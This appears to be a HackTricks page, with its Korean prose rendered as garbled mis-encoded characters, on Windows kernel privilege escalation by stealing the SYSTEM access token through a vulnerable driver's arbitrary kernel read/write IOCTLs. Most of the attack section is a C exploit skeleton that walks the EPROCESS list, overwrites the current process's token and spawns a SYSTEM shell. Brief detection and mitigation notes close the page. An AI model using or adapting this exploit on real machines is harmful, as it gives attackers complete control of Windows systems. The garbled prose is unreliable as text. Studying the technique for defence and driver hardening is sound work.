Windows kernel EoP: Token stealing with arbitrary kernel R/W

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๊ณต๊ฒฉ์ž์—๊ฒŒ ์ž„์˜์˜ ์ปค๋„ ์ฝ๊ธฐ ๋ฐ/๋˜๋Š” ์“ฐ๊ธฐ primitives๋ฅผ ์ œ๊ณตํ•˜๋Š” IOCTL์„ ๋…ธ์ถœํ•˜๋ฉด, NT AUTHORITY\SYSTEM์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน์€ ์ข…์ข… SYSTEM ์ ‘๊ทผ token์„ ํƒˆ์ทจํ•จ์œผ๋กœ์จ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ SYSTEM ํ”„๋กœ์„ธ์Šค์˜ EPROCESS์—์„œ Token ํฌ์ธํ„ฐ๋ฅผ ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ EPROCESS๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.

์ž‘๋™ ์›๋ฆฌ:

  • ๊ฐ ํ”„๋กœ์„ธ์Šค๋Š” EPROCESS ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ€์ง€๋ฉฐ(๋‹ค๋ฅธ ํ•„๋“œ๋“ค ์ค‘์—์„œ) Token(์‹ค์ œ๋กœ๋Š” ํ† ํฐ ๊ฐ์ฒด์— ๋Œ€ํ•œ EX_FAST_REF)์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • SYSTEM ํ”„๋กœ์„ธ์Šค(PID 4)๋Š” ๋ชจ๋“  ๊ถŒํ•œ์ด ํ™œ์„ฑํ™”๋œ ํ† ํฐ์„ ๋ณด์œ ํ•ฉ๋‹ˆ๋‹ค.
  • ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ EPROCESS.Token์„ SYSTEM ํ† ํฐ ํฌ์ธํ„ฐ๋กœ ๊ต์ฒดํ•˜๋ฉด ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค๋Š” ์ฆ‰์‹œ SYSTEM์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

EPROCESS ๋‚ด์˜ ์˜คํ”„์…‹์€ Windows ๋ฒ„์ „๋งˆ๋‹ค ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋™์ ์œผ๋กœ(์‹ฌ๋ณผ) ๊ฒฐ์ •ํ•˜๊ฑฐ๋‚˜ ๋ฒ„์ „๋ณ„ ์ƒ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ๋˜ํ•œ EPROCESS.Token์€ EX_FAST_REF๋ผ๋Š” ์ (ํ•˜์œ„ 3๋น„ํŠธ๊ฐ€ ์ฐธ์กฐ ์นด์šดํŠธ ํ”Œ๋ž˜๊ทธ๋กœ ์‚ฌ์šฉ๋จ)์„ ๊ธฐ์–ตํ•˜์„ธ์š”.

๊ณ ์ˆ˜์ค€ ๋‹จ๊ณ„

  1. ntoskrnl.exe ๋ฒ ์ด์Šค๋ฅผ ์ฐพ๊ณ  PsInitialSystemProcess์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ์ž ๋ชจ๋“œ์—์„œ๋Š” NtQuerySystemInformation(SystemModuleInformation) ๋˜๋Š” EnumDeviceDrivers๋ฅผ ์‚ฌ์šฉํ•ด ๋กœ๋“œ๋œ ๋“œ๋ผ์ด๋ฒ„ ๋ฒ ์ด์Šค๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.
  • ์ปค๋„ ๋ฒ ์ด์Šค์— PsInitialSystemProcess์˜ ์˜คํ”„์…‹(์‹ฌ๋ณผ/๋ฆฌ๋ฒ„์‹ฑ์—์„œ ์–ป์€ ๊ฐ’)์„ ๋”ํ•ด ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.
  1. PsInitialSystemProcess์—์„œ ํฌ์ธํ„ฐ๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค โ†’ ์ด๋Š” SYSTEM์˜ EPROCESS๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ปค๋„ ํฌ์ธํ„ฐ์ž…๋‹ˆ๋‹ค.
  2. SYSTEM EPROCESS์—์„œ UniqueProcessId์™€ ActiveProcessLinks ์˜คํ”„์…‹์„ ์ฝ์–ด EPROCESS ๊ตฌ์กฐ์ฒด๋“ค์˜ ์ด์ค‘ ์—ฐ๊ฒฐ ๋ฆฌ์ŠคํŠธ(ActiveProcessLinks.Flink/Blink)๋ฅผ ์ˆœํšŒํ•˜์—ฌ UniqueProcessId๊ฐ€ GetCurrentProcessId()์™€ ์ผ์น˜ํ•˜๋Š” EPROCESS๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋‘ ๊ฐ’์„ ๋ณด๊ด€ํ•˜์„ธ์š”:
  • EPROCESS_SYSTEM (SYSTEM์šฉ)
  • EPROCESS_SELF (ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์šฉ)
  1. SYSTEM ํ† ํฐ ๊ฐ’ ์ฝ๊ธฐ: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
  • ํ•˜์œ„ 3๋น„ํŠธ๋ฅผ ๋งˆ์Šคํ‚น: Token_SYS_masked = Token_SYS & ~0xF (๋นŒ๋“œ์— ๋”ฐ๋ผ ์ผ๋ฐ˜์ ์œผ๋กœ ~0xF ๋˜๋Š” ~0x7; x64์—์„œ๋Š” ํ•˜์œ„ 3๋น„ํŠธ ์‚ฌ์šฉ โ€” 0xFFFFFFFFFFFFFFF8 ๋งˆ์Šคํฌ).
  1. Option A (์ผ๋ฐ˜์ ): ํ˜„์žฌ ํ† ํฐ์—์„œ ํ•˜์œ„ 3๋น„ํŠธ๋ฅผ ๋ณด์กดํ•˜์—ฌ SYSTEM ํฌ์ธํ„ฐ์— ํ•ฉ์ณ ๋‚ด์žฅ๋œ ์ฐธ์กฐ ์นด์šดํŠธ ์ผ๊ด€์„ฑ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • Token_ME = *(EPROCESS_SELF + TokenOffset)
  • Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
  1. ์ปค๋„ ์“ฐ๊ธฐ primitive๋ฅผ ์‚ฌ์šฉํ•ด Token_NEW๋ฅผ (EPROCESS_SELF + TokenOffset)์— ๋‹ค์‹œ ์”๋‹ˆ๋‹ค.
  2. ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค๋Š” ์ด์ œ SYSTEM์ž…๋‹ˆ๋‹ค. ์„ ํƒ์ ์œผ๋กœ ์ƒˆ๋กœ์šด cmd.exe ๋˜๋Š” powershell.exe๋ฅผ ์‹คํ–‰ํ•ด ํ™•์ธํ•˜์„ธ์š”.

์˜์‚ฌ์ฝ”๋“œ

์•„๋ž˜๋Š” ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ ๋‘ IOCTL(ํ•˜๋‚˜๋Š” 8-byte ์ปค๋„ ์ฝ๊ธฐ, ๋‹ค๋ฅธ ํ•˜๋‚˜๋Š” 8-byte ์ปค๋„ ์“ฐ๊ธฐ)๋งŒ ์‚ฌ์šฉํ•˜๋Š” ๊ณจ๊ฒฉ์ž…๋‹ˆ๋‹ค. ๋“œ๋ผ์ด๋ฒ„ ์ธํ„ฐํŽ˜์ด์Šค์— ๋งž๊ฒŒ ๊ต์ฒดํ•˜์„ธ์š”.

#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>

// Device + IOCTLs are driver-specific
#define DEV_PATH   "\\\\.\\VulnDrv"
#define IOCTL_KREAD  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

// Version-specific (examples only โ€“ resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid    = 0x448; // varies
static const uint32_t Off_EPROCESS_Token        = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks  = 0x448 + 0x8; // often UniquePid+8, varies

BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}

// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}

int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;

// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build

// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);

// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);

// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME  + Off_EPROCESS_Token, &tok_me);

// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);

// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);

// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}

๋…ธํŠธ:

  • Offsets: ํƒ€๊นƒ์˜ PDBs ๋˜๋Š” ๋Ÿฐํƒ€์ž„ ์‹ฌ๋ณผ ๋กœ๋”์™€ ํ•จ๊ป˜ WinDbg์˜ dt nt!_EPROCESS๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์˜ฌ๋ฐ”๋ฅธ ์˜คํ”„์…‹์„ ํ™•์ธํ•˜์„ธ์š”. ๋ฌดํ„ฑ๋Œ€๊ณ  ํ•˜๋“œ์ฝ”๋”ฉํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.
  • Mask: x64์—์„œ๋Š” ํ† ํฐ์ด EX_FAST_REF์ž…๋‹ˆ๋‹ค; ํ•˜์œ„ 3๋น„ํŠธ๋Š” ์ฐธ์กฐ ์นด์šดํŠธ ๋น„ํŠธ์ž…๋‹ˆ๋‹ค. ํ† ํฐ์˜ ์›๋ž˜ ํ•˜์œ„ ๋น„ํŠธ๋ฅผ ์œ ์ง€ํ•˜๋ฉด ์ฆ‰๊ฐ์ ์ธ refcount ๋ถˆ์ผ์น˜๋ฅผ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Stability: ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ ๊ถŒํ•œ ์ƒ์Šน์„ ์šฐ์„ ํ•˜์„ธ์š”; ๋‹จ๋ช…ํ•˜๋Š” ํ—ฌํผ๋ฅผ ์Šน๊ฒฉํ•˜๋ฉด ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ SYSTEM ๊ถŒํ•œ์„ ์žƒ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ ์™„ํ™”

  • ์„œ๋ช…๋˜์ง€ ์•Š์•˜๊ฑฐ๋‚˜ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์„œ๋“œํŒŒํ‹ฐ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๊ฐ•๋ ฅํ•œ IOCTL์„ ๋…ธ์ถœํ•˜๋Š” ๊ฒƒ์ด ๊ทผ๋ณธ ์›์ธ์ž…๋‹ˆ๋‹ค.
  • Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction ๊ทœ์น™์€ ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ ๋กœ๋“œ๋ฅผ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • EDR๋Š” ์ž„์˜์˜ ์ฝ๊ธฐ/์“ฐ๊ธฐ(arbitrary read/write)๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” ์˜์‹ฌ์Šค๋Ÿฌ์šด IOCTL ์‹œํ€€์Šค์™€ ํ† ํฐ ๊ต์ฒด๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ